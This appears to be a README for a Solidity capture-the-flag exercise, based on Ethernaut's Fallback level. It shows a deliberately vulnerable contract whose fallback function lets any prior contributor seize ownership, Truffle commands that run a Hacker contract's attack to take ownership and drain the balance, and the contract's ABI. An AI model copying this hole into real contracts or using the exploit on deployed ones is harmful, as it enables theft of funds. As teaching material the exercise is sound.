Inspired by OpenZeppelin's Ethernaut, Fallback Level
There is a contract written by the following source code. Look carefully at the source code, find risks, and attack it.
- Claim the owner
- Make the contract's balance to 0
Hint:
payablefunction can receive etherfallbackfunction can receive ether
Through the game you will learn a lot of things for building/testing and deploying smart contract written in Solidity.
- Solidity
- how to interact with another contract -
interface - how to send ether to another contract -
payable - difference between transfer or send vs call -
address.call - gas allocation
- how to interact with another contract -
- Truffle
- configure
- test
- deploy on public net
Why do you use call?
You could find the code line that uses call function instead of transfer or send in order to send ether to the target contract in Hacker.sol.
In many documents, call is dangerous, and needs care about using it.
And I do recommend not to use it for your real smart contract. 😄
One of the important differences between call and transfer or send, is that when using call, you can set the amount of gas that will be available in the transaction generated by call call.
The call in Hacker contract will call fallback function in Fallback contract.
Look at that fallback function, and try to predict how many gas it would need?
Here are some Ethereum specifications that help you to calculate it.
To occupy a 256 Bit slot of Storage costs 20,000 gas. Changing a value of an already occupied slot costs 5,000 gas.
In the fallback function, it replaces the owner with the new one, and the owner is a state variable that stores on Storage. Then you can easily get the amount of gas required for the fallback function as roughly more than 25,000 gas.
But trasfer and send functions are limited with 2300 gas stipend and not adjustable. 😢 So, if you attack with transfer or send, you will get "Out of Gas" exception, and in many cases, Remix, truffle and etc, they don't give the exact error description. (It's secret that I spent a whole day to find the reason for the exception.)
With call you can adjust the amount gas used in the called contract, and the sufficient amount of gas will allow the target contract to replace the owner, ultimately you will get success on the attack.
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.5 <0.9.0;
contract Fallback {
mapping(address => uint256) public contributions;
address payable public owner;
constructor() {
owner = payable(msg.sender);
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(msg.sender == owner, "caller is not the owner");
_;
}
event NewOwner(address _newOwner);
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = payable(msg.sender);
emit NewOwner(msg.sender);
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
fallback() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = payable(msg.sender);
emit NewOwner(msg.sender);
}
}
Skip if you have already installed.
npm install -g truffle
npm install
Start with staring Truffle console.
truffle console
truffle(development)> migrate --reset
truffle(development)> const accounts = await web3.eth.getAccounts()
truffle(development)> const [owner, hacker] = accounts
truffle(development)> const targetInstance = await Fallback.deployed()
truffle(development)> const hackerInstance = await Hacker.deployed()
truffle(development)> await hackerInstance.attack(Fallback.address, {from: hacker, value: web3.utils.toWei("1", "ether")})
Then you should see like:
{
tx: '0xee2ae07bf1379a9f196d1d16cdb9e21a898ed0c20eb45eb8b588e321d64a70e6',
receipt: {
transactionHash: '0xee2ae07bf1379a9f196d1d16cdb9e21a898ed0c20eb45eb8b588e321d64a70e6',
transactionIndex: 0,
blockHash: '0xede0df93bd74c8b44dbd284d5d5a1d1a2a55096fdfb6a00c5d0e1a9b61e52c02',
blockNumber: 272,
from: '0xabfbf3ab7467af1c88bfe1a20eb8012326b81661',
to: '0x44f7de26ca91ebcc882dc1ca28e6e29e6abbea51',
gasUsed: 90010,
cumulativeGasUsed: 90010,
contractAddress: null,
logs: [],
status: true,
logsBloom: '0x04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000200000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
rawLogs: [ [Object] ]
},
logs: []
}
Check if the attack has been successful.
truffle(development)> const targetOwner = await targetInstance.owner()
truffle(development)> targetOwner === hackerInstance.address
true
truffle(development)> const balance = await web3.eth.getBalance(Fallback.address)
truffle(development)> balance.toString()
'0'
truffle test
The Fallback contract has been deployed at 0x47731653fFd286D6f218a2b5b0aB509F54da5C54 in ropsten net.
ABI:
[
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [
{
"indexed": false,
"internalType": "address",
"name": "_newOwner",
"type": "address"
}
],
"name": "NewOwner",
"type": "event"
},
{
"stateMutability": "payable",
"type": "fallback",
"payable": true
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "contributions",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function",
"constant": true
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address payable",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function",
"constant": true
},
{
"inputs": [],
"name": "contribute",
"outputs": [],
"stateMutability": "payable",
"type": "function",
"payable": true
},
{
"inputs": [],
"name": "getContribution",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function",
"constant": true
},
{
"inputs": [],
"name": "withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]